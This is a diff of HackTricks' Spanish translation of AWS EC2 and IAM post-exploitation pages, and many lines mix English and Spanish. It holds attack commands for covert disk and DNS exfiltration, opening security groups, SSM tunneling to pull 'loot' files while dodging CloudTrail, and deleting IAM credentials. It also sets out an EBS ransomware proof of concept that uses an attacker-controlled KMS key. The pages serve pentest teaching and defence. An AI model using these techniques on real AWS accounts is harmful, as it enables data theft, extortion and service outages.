**Snapshots are backups of volumes**, que normalmente contendrán **información sensible**, por lo tanto revisarlos debería revelar esta información.\
|
||||
Si encuentras un **volume without a snapshot** podrías: **Create a snapshot** y realizar las siguientes acciones o simplemente **mount it in an instance** dentro de la cuenta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporta una AMI de EC2 directamente a S3 usando `CreateStoreImageTask` para obtener una imagen de disco raw sin compartir snapshots. Esto permite realizar análisis forense offline completos o el robo de datos dejando la red de la instancia intacta.
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Esto permite análisis forense offline completo o robo de datos mientras se deja la networking de la instance intacta.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Adjunta un volumen Multi-Attach io1/io2 a una segunda instancia y móntalo en solo lectura para extraer datos en vivo sin snapshots. Útil cuando el volumen víctima ya tiene Multi-Attach habilitado en la misma AZ.
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Útil cuando el victim volume ya tiene Multi-Attach habilitado dentro de la misma AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Crea un EC2 Instance Connect Endpoint, autoriza el ingreso e inyecta claves SSH efímeras para acceder a instancias privadas a través de un túnel gestionado. Proporciona rutas rápidas de movimiento lateral sin abrir puertos públicos.
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Otorga rutas de movimiento lateral rápidas sin abrir puertos públicos.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Mueve la IP privada secundaria de la ENI víctima a una ENI controlada por el atacante para suplantar hosts de confianza que están allowlisted por IP. Permite eludir ACLs internas o reglas de SG vinculadas a direcciones específicas.
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Permite eludir ACLs internas o reglas de SG que se basan en direcciones específicas.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reasocia un Elastic IP de la instancia víctima al atacante para interceptar tráfico entrante u originar conexiones salientes que aparentan provenir de IPs públicas de confianza.
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Si una regla de security group referencia una customer-managed prefix list, añadir CIDRs del atacante a la lista expande silenciosamente el acceso a través de todas las reglas de SG dependientes sin modificar el SG en sí.
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Crea gateway o interface VPC endpoints para recuperar acceso saliente desde subnets aisladas. Aprovechar los AWS-managed private links evita controles IGW/NAT ausentes para la exfiltración de datos.
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas de entrada a security groups (por ejemplo, permitir tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a Internet pública o a redes no autorizadas.
|
||||
Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas de entrada a security groups (por ejemplo, permitiendo tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a la Internet pública o a redes no autorizadas.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un atacante con permisos ec2:ReplaceNetworkAclEntry (o similares) puede modificar los Network ACLs (NACLs) de una subnet para hacerlos muy permisivos — por ejemplo permitiendo 0.0.0.0/0 en puertos críticos — exponiendo todo el rango de la subnet al Internet o a segmentos de red no autorizados. A diferencia de los Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subnet, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar acceso a muchos más hosts.
|
||||
Un atacante con permisos `ec2:ReplaceNetworkAclEntry` (o similares) puede modificar los Network ACLs (NACLs) de una subred para hacerlos muy permisivos — por ejemplo permitiendo 0.0.0.0/0 en puertos críticos — exponiendo todo el rango de la subred a Internet o a segmentos de red no autorizados. A diferencia de Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subred, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar el acceso a muchos más hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de la infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Esto puede causar interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense.
|
||||
Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de la infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volúmenes o attachments, security groups o reglas, ENIs/network endpoints, tablas de rutas, gateways, o managed endpoints. Esto puede causar una interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
@@ -152,26 +152,26 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs no registrará esto**.
|
||||
- No tienes acceso a los registros DNS de AWS.
|
||||
- Desactívalo estableciendo "enableDnsSupport" a false con:
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Un atacante podría llamar endpoints API de una cuenta controlada por él. CloudTrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los logs de CloudTrail.
|
||||
Un atacante podría llamar a endpoints de API de una cuenta controlada por él. Cloudtrail registrará esas llamadas y el atacante podrá ver los datos exfiltrados en los logs de Cloudtrail.
|
||||
|
||||
### Abrir Security Group
|
||||
### Open Security Group
|
||||
|
||||
Podrías obtener más acceso a servicios de red abriendo puertos así:
|
||||
Podrías obtener mayor acceso a servicios de red abriendo puertos así:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Es posible ejecutar una instancia EC2 y registrarla para que sea usada para ejecutar instancias ECS y luego robar los datos de las instancias ECS.
|
||||
Es posible ejecutar una instancia EC2 y registrarla para que se use para ejecutar instancias ECS y luego robar los datos de las instancias ECS.
|
||||
|
||||
Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
@@ -185,38 +185,38 @@ Permisos requeridos:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Además de la ejecución de comandos, SSM permite traffic tunneling, lo que puede usarse de forma abusiva para pivot desde instancias EC2 que no tienen acceso a la red debido a Security Groups o NACLs.
|
||||
Uno de los escenarios donde esto es útil es pivoting desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado.
|
||||
Además de la ejecución de comandos, SSM permite traffic tunneling que puede ser abusado para pivoting desde instancias EC2 que no tienen acceso a la red debido a Security Groups o NACLs.
|
||||
Uno de los escenarios donde esto es útil es pivoting desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hacia un private EKS cluster.
|
||||
|
||||
> Para iniciar una sesión necesitas el SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Para iniciar una sesión necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Instala el SessionManagerPlugin en tu máquina
|
||||
2. Inicia sesión en el Bastion EC2 usando el siguiente comando:
|
||||
2. Conéctate al Bastion EC2 usando el siguiente comando:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Obtener las credenciales temporales AWS del Bastion EC2 con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transferir las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]`
|
||||
5. Iniciar sesión en EKS como el Bastion EC2:
|
||||
3. Obtén las credenciales temporales de AWS del Bastion EC2 con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]`
|
||||
5. Inicia sesión en EKS como el Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Actualiza el campo `server` en el archivo `$HOME/.kube/config` para que apunte a `https://localhost`
|
||||
7. Crea un túnel SSM como sigue:
|
||||
6. Actualice el campo `server` en el archivo `$HOME/.kube/config` para que apunte a `https://localhost`
|
||||
7. Cree un túnel SSM como sigue:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. El tráfico de la herramienta `kubectl` ahora se reenvía por el túnel SSM vía el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
|
||||
8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Ten en cuenta que las conexiones SSL fallarán a menos que configures la bandera `--insecure-skip-tls-verify` (o su equivalente en herramientas de auditoría K8s). Al estar el tráfico tunelizado a través del túnel seguro AWS SSM, estás protegido contra cualquier tipo de ataques MitM.
|
||||
Ten en cuenta que las conexiones SSL fallarán a menos que establezcas la opción `--insecure-skip-tls-verify ` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico viaja a través del túnel seguro de AWS SSM, estás protegido contra cualquier tipo de ataques MitM.
|
||||
|
||||
Finalmente, esta técnica no es específica para atacar clusters privados EKS. Puedes establecer dominios y puertos arbitrarios para pivotar hacia cualquier otro servicio AWS o una aplicación personalizada.
|
||||
Finalmente, esta técnica no es específica para atacar clusters privados de EKS. Puedes establecer dominios y puertos arbitrarios para pivotar hacia cualquier otro servicio de AWS o una aplicación personalizada.
|
||||
|
||||
---
|
||||
|
||||
#### Reenvío rápido Local ↔️ Remoto de Puertos (AWS-StartPortForwardingSession)
|
||||
#### Reenvío rápido Local ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
|
||||
Si solo necesitas reenviar **un puerto TCP desde la instancia EC2 a tu host local** puedes usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere el parámetro de host remoto):
|
||||
```bash
|
||||
@@ -225,24 +225,24 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
El comando establece un túnel bidireccional entre tu workstation (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **without opening any inbound Security-Group rules**.
|
||||
El comando establece un túnel bidireccional entre tu workstation (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instance **sin abrir ninguna regla de Security-Group entrante**.
|
||||
|
||||
Common use cases:
|
||||
Casos de uso comunes:
|
||||
|
||||
* **File exfiltration**
|
||||
1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que quieres exfiltrar:
|
||||
1. En la instance, inicia un servidor HTTP rápido que apunte al directorio que quieres exfiltrar:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Desde tu workstation, descarga los archivos a través del túnel SSM:
|
||||
2. Desde tu workstation, recupera los archivos a través del túnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
* **Acceso a aplicaciones web internas (p. ej. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto plano:
|
||||
Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto claro:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -261,7 +261,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Buscar información sensible en AMIs públicas y privadas
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde las AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secrets o datos sensibles.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
|
||||
|
||||
### Compartir EBS Snapshot
|
||||
```bash
|
||||
@@ -269,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) dada la facilidad con la que se puede usar para cifrar varios servicios de AWS.
|
||||
Una prueba de concepto similar a la demostración de Ransomware en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) dada la facilidad con la que se puede usar para cifrar varios servicios de AWS.
|
||||
|
||||
Primero, desde una cuenta AWS de 'attacker', crea una customer managed key en KMS. En este ejemplo dejaremos que AWS gestione los datos de la key por nosotros, pero en un escenario realista un malicious actor retendría los datos de la key fuera del control de AWS. Cambia la key policy para permitir que cualquier AWS account Principal use la key. Para esta key policy, el nombre de la cuenta fue 'AttackSim' y la regla de la policy que permite acceso total se llama 'Outside Encryption'
|
||||
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -371,21 +371,21 @@ La regla de la key policy necesita tener lo siguiente habilitado para permitir u
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Ahora, con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tenga algunas instancias EC2 desplegadas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son nuestro objetivo para el cifrado; este ataque se realiza bajo el supuesto compromiso de una cuenta AWS de alto privilegio.
|
||||
Ahora, con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tiene algunas instancias EC2 desplegadas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son los que estamos atacando para cifrado; este ataque se realiza bajo el supuesto de una violación de una cuenta AWS con privilegios elevados.
|
||||
|
||||
 
|
||||
|
||||
Similar al ejemplo de S3 ransomware. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego desacoplará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará los snapshots usados para crear los nuevos volúmenes EBS cifrados. 
|
||||
Similar al ejemplo de S3 ransomware. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego detachará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente borrará los snapshots usados para crear los nuevos volúmenes EBS cifrados. 
|
||||
|
||||
Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta.
|
||||
Como resultado, solo quedarán disponibles en la cuenta volúmenes EBS cifrados.
|
||||
|
||||
|
||||
|
||||
También cabe destacar que el script detuvo las instancias EC2 para desacoplar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen.
|
||||
También cabe destacar que el script detuvo las instancias EC2 para detachar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen.
|
||||
|
||||
|
||||
|
||||
A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de la política 'Outside Encryption' de la key policy.
|
||||
Después, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de policy 'Outside Encryption' de la key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +456,15 @@ A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la reg
|
||||
]
|
||||
}
|
||||
```
|
||||
Espere un momento a que la política de clave recién establecida se propague. Luego vuelva a la cuenta 'victim' e intente adjuntar uno de los volúmenes EBS recién encriptados. Verá que puede adjuntar el volumen.
|
||||
Espera un momento para que la nueva key policy se propague. Luego regresa a la cuenta 'victim' e intenta adjuntar uno de los EBS volumes recién cifrados. Verás que puedes adjuntar el volumen.
|
||||
|
||||
 
|
||||
|
||||
Pero cuando intente arrancar la instancia EC2 con el volumen EBS encriptado, fallará y pasará del estado 'pending' de nuevo a 'stopped' indefinidamente, ya que el volumen EBS adjunto no puede desencriptarse con la clave porque la política de clave ya no lo permite.
|
||||
Pero cuando intentes arrancar la instancia EC2 con el EBS volume cifrado, fallará y pasará del estado 'pending' al estado 'stopped' indefinidamente, ya que el EBS volume adjunto no puede ser descifrado usando la key porque la key policy ya no lo permite.
|
||||
|
||||
 
|
||||
|
||||
Este es el script de python utilizado. Toma credenciales AWS para una cuenta 'victim' y un valor ARN público de AWS para la key que se usará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta 'victim' objetivo. SOLO UTILICE ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puede recuperarlos usando la KMS key utilizada y restaurarlos a su estado original vía snapshots, pero quería que supiera que al final del día esto es un PoC de ransomware.
|
||||
Este es el python script utilizado. Toma AWS creds para una cuenta 'victim' y un valor ARN de AWS públicamente disponible para la key que se usará para el cifrado. El script hará copias cifradas de TODOS los EBS volumes disponibles adjuntos a TODAS las EC2 instances en la cuenta AWS objetivo, luego detendrá cada EC2 instance, desacoplará los EBS volumes originales, los eliminará y finalmente borrará todos los snapshots utilizados durante el proceso. Esto dejará solo EBS volumes cifrados en la cuenta 'victim' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS EBS VOLUMES ORIGINALES. Puedes recuperarlos usando la KMS key utilizada y restaurarlos a su estado original vía snapshots, pero ten en cuenta que, al final del día, esto es un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +583,6 @@ main()
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [Pentest Partners – Cómo transferir archivos en AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Para más información sobre el acceso IAM:
|
||||
Para más información sobre el acceso a IAM:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,13 +12,13 @@ Para más información sobre el acceso IAM:
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
Si permites que una cuenta externa (A) acceda a un rol en tu cuenta, probablemente tendrás 0 visibilidad sobre quién exactamente puede acceder a esa cuenta externa. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que B también pueda acceder a tu cuenta.
|
||||
Si **permites que una cuenta externa (A)** acceda a un **role** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién puede exactamente acceder a esa cuenta externa**. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que **B también pueda acceder a tu cuenta**.
|
||||
|
||||
Por lo tanto, al permitir que una cuenta externa acceda a un rol en tu cuenta, es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) necesita especificar para poder asumir el rol en tu organización. Como la cuenta externa B no conocerá esta cadena, incluso si tiene acceso a A no podrá acceder a tu rol.
|
||||
Por lo tanto, al permitir que una cuenta externa acceda a un role en tu cuenta es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **debe especificar** para **asumir el role en tu organización**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso a A **no podrá acceder a tu role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sin embargo, ten en cuenta que este "secreto" `ExternalId` **no es un secreto**: cualquiera que pueda leer la política de assume role de IAM podrá verlo. Pero mientras la cuenta externa A lo conozca y la cuenta externa B no lo conozca, esto evita que B abuse de A para acceder a tu rol.
|
||||
Sin embargo, ten en cuenta que este "secreto" `ExternalId` **no es un secreto**, cualquiera que pueda **leer la IAM assume role policy podrá verlo**. Pero mientras la cuenta externa A lo conozca, y la cuenta externa **B no lo conozca**, esto **evita que B abuse de A para acceder a tu role**.
|
||||
|
||||
Ejemplo:
|
||||
```json
|
||||
@@ -39,11 +39,11 @@ Ejemplo:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Para que un atacante explote un confused deputy, necesitará averiguar de alguna manera si los principals de la cuenta actual pueden suplantar roles en otras accounts.
|
||||
> Para que un atacante explote un confused deputy, necesitará averiguar de algún modo si los principals de la cuenta actual pueden suplantar roles en otras cuentas.
|
||||
|
||||
### Confianzas inesperadas
|
||||
|
||||
#### Wildcard como principal
|
||||
#### Comodín como principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -62,7 +62,7 @@ Esta política **permite a todo AWS** asumir el rol.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Esta política **permite a cualquier cuenta** configurar su apigateway para llamar a esta Lambda.
|
||||
Esta política **permite a cualquier cuenta** configurar su apigateway para invocar esta Lambda.
|
||||
|
||||
#### S3 como principal
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Esta política **permite a cualquier cuenta** configurar su apigateway para llam
|
||||
}
|
||||
}
|
||||
```
|
||||
Si se especifica un S3 bucket como principal, dado que los S3 buckets no tienen Account ID, si **eliminaste tu bucket y el attacker lo creó** en su propia cuenta, entonces podrían abusar de esto.
|
||||
Si se da un principal como S3 bucket, dado que los S3 buckets no tienen un Account ID, si **eliminaste tu bucket y el attacker lo creó** en su propia cuenta, entonces podrían abusar de esto.
|
||||
|
||||
#### No soportado
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Si se especifica un S3 bucket como principal, dado que los S3 buckets no tienen
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Una forma común de evitar problemas de Confused Deputy es el uso de una condición con `AWS:SourceArn` para comprobar el ARN de origen. Sin embargo, **algunos servicios podrían no soportarlo** (como CloudTrail según algunas fuentes).
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **algunos servicios podrían no admitir eso** (por ejemplo CloudTrail según algunas fuentes).
|
||||
|
||||
### Eliminación de credenciales
|
||||
Con cualquiera de los siguientes permisos — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un actor puede eliminar claves de acceso, perfiles de inicio de sesión, claves SSH, credenciales específicas de servicio, perfiles de instancia, certificados o claves públicas de CloudFront, o desasociar roles de perfiles de instancia. Tales acciones pueden bloquear inmediatamente a usuarios y aplicaciones legítimas y provocar denegación de servicio o pérdida de acceso para sistemas que dependen de esas credenciales, por lo que estos permisos de IAM deben estar estrictamente restringidos y vigilados.
|
||||
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Eliminación de identidades
|
||||
Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos—o cambiar la pertenencia a un grupo—eliminando identidades y trazas asociadas. Esto puede interrumpir inmediatamente el acceso para personas y servicios que dependen de esas identidades, causando denial-of-service o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas.
|
||||
Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos—o cambiar la pertenencia a grupos—eliminando identidades y rastros asociados. Esto puede romper inmediatamente el acceso para personas y servicios que dependen de esas identidades, causando denial-of-service o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas.
|
||||
```bash
|
||||
# Delete a user
|
||||
